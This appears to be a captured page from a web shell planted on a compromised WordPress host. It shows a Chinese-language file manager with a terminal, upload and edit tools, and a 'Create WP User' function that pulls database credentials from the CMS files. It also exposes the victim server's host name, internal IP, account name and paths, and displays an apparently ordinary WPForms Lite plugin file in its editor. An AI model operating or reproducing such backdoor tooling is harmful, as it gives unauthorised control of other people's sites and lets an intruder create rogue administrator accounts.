Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
www
/
wordpress
/
wpn_budomat
/
wp-content
/
plugins
/
wpforms-lite
/
src
/
Lite
/
Admin
/
Settings
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
Access.php
6.16 KB
-rw-r--r--
2021-04-01 19:46
Education.php
5.08 KB
-rw-r--r--
2021-02-23 18:44
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
Education.php
<?php namespace WPForms\Lite\Admin\Settings; use WPForms\Admin\Settings\Geolocation; /** * Settings changes and enhancements to educate Lite users on what is * available in WPForms Pro. * * @since 1.5.5 */ class Education { /** * Constructor. * * @since 1.5.1 */ public function __construct() { $this->hooks(); } /** * Hooks. * * @since 1.5.1 */ public function hooks() { // Only proceed for the Settings > Integrations tab. if ( ! \wpforms_is_admin_page( 'settings' ) ) { return; } // Integrations related hooks. if ( \wpforms_is_admin_page( 'settings', 'integrations' ) ) { \add_filter( 'wpforms_admin_strings', array( $this, 'js_strings' ) ); \add_action( 'admin_enqueue_scripts', array( $this, 'enqueues' ) ); \add_action( 'wpforms_settings_providers', array( $this, 'providers' ), 10000, 1 ); } // Geolocation API related hooks. if ( \wpforms_is_admin_page( 'settings', 'geolocation' ) ) { \add_action( 'wpforms_settings_init', [ $this, 'geolocation_settings' ] ); } } /** * Localize needed strings. * * @since 1.5.5 * * @param array $strings JS strings. * * @return array */ public function js_strings( $strings ) { $strings['upgrade'] = [ 'pro' => [ 'title' => esc_html__( 'is a PRO Feature', 'wpforms-lite' ), 'message' => '<p>' . esc_html__( 'We\'re sorry, the %name% is not available on your plan. Please upgrade to the PRO plan to unlock all these awesome features.', 'wpforms-lite' ) . '</p>', 'bonus' => '<p>' . wp_kses( __( '<strong>Bonus:</strong> WPForms Lite users get <span>50% off</span> regular price, automatically applied at checkout.', 'wpforms-lite' ), [ 'strong' => [], 'span' => [], ] ) . '</p>', 'doc' => '<a href="https://wpforms.com/docs/upgrade-wpforms-lite-paid-license/?utm_source=WordPress&utm_medium=link&utm_campaign=liteplugin&utm_content=upgrade-pro" target="_blank" rel="noopener noreferrer" class="already-purchased">' . esc_html__( 'Already purchased?', 'wpforms-lite' ) . '</a>', 'button' => esc_html__( 'Upgrade to PRO', 'wpforms-lite' ), 'url' => wpforms_admin_upgrade_link( 'settings-modal', 'upgrade-pro' ), 'modal' => wpforms_get_upgrade_modal_text( 'pro' ), ], 'elite' => [ 'title' => esc_html__( 'is an Elite Feature', 'wpforms-lite' ), 'message' => '<p>' . esc_html__( 'We\'re sorry, the %name% is not available on your plan. Please upgrade to the Elite plan to unlock all these awesome features.', 'wpforms-lite' ) . '</p>', 'bonus' => '<p>' . wp_kses( __( '<strong>Bonus:</strong> WPForms Lite users get <span>50% off</span> regular price, automatically applied at checkout.', 'wpforms-lite' ), [ 'strong' => [], 'span' => [], ] ) . '</p>', 'doc' => '<a href="https://wpforms.com/docs/upgrade-wpforms-lite-paid-license/?utm_source=WordPress&utm_medium=link&utm_campaign=liteplugin&utm_content=upgrade-elite" target="_blank" rel="noopener noreferrer" class="already-purchased">' . esc_html__( 'Already purchased?', 'wpforms-lite' ) . '</a>', 'button' => esc_html__( 'Upgrade to Elite', 'wpforms-lite' ), 'url' => wpforms_admin_upgrade_link( 'settings-modal', 'upgrade-elite' ), 'modal' => wpforms_get_upgrade_modal_text( 'elite' ), ], ]; return $strings; } /** * Load enqueues. * * @since 1.5.5 */ public function enqueues() { $min = \wpforms_get_min_suffix(); \wp_enqueue_script( 'wpforms-settings-education', \WPFORMS_PLUGIN_URL . "lite/assets/js/admin/settings-education{$min}.js", array( 'jquery', 'jquery-confirm' ), \WPFORMS_VERSION, false ); } /** * Display providers. * * @since 1.5.5 */ public function providers() { $providers = wpforms_get_providers_all(); foreach ( $providers as $provider ) { /* translators: %s - addon name. */ $modal_name = sprintf( \__( '%s addon', 'wpforms-lite' ), $provider['name'] ); /* translators: %s - addon name. */ $descr = sprintf( \__( 'Integrate %s with WPForms', 'wpforms-lite' ), $provider['name'] ); printf( '<div id="wpforms-integration-%1$s" class="wpforms-settings-provider wpforms-clear focus-out education-modal" data-name="%2$s" data-action="upgrade" data-url="%3$s" data-license="%4$s"> <div class="wpforms-settings-provider-header wpforms-clear"> <div class="wpforms-settings-provider-logo "> <i class="fa fa-chevron-right"></i> %5$s </div> <div class="wpforms-settings-provider-info"> <h3>%6$s</h3> <p>%7$s</p> </div> </div> </div>', \esc_attr( $provider['slug'] ), \esc_attr( $modal_name ), isset( $provider['url'] ) ? \esc_attr( $provider['url'] ) : '', \esc_attr( $provider['license'] ), '<img src="' . \esc_attr( WPFORMS_PLUGIN_URL ) . 'assets/images/' . \esc_attr( $provider['img'] ) . '">', \esc_html( $provider['name'] ), \esc_html( $descr ) ); } } /** * Add Geolocation settings page. * * @since 1.6.5 */ public function geolocation_settings() { ( new Geolocation() )->hooks(); } }
关闭
保存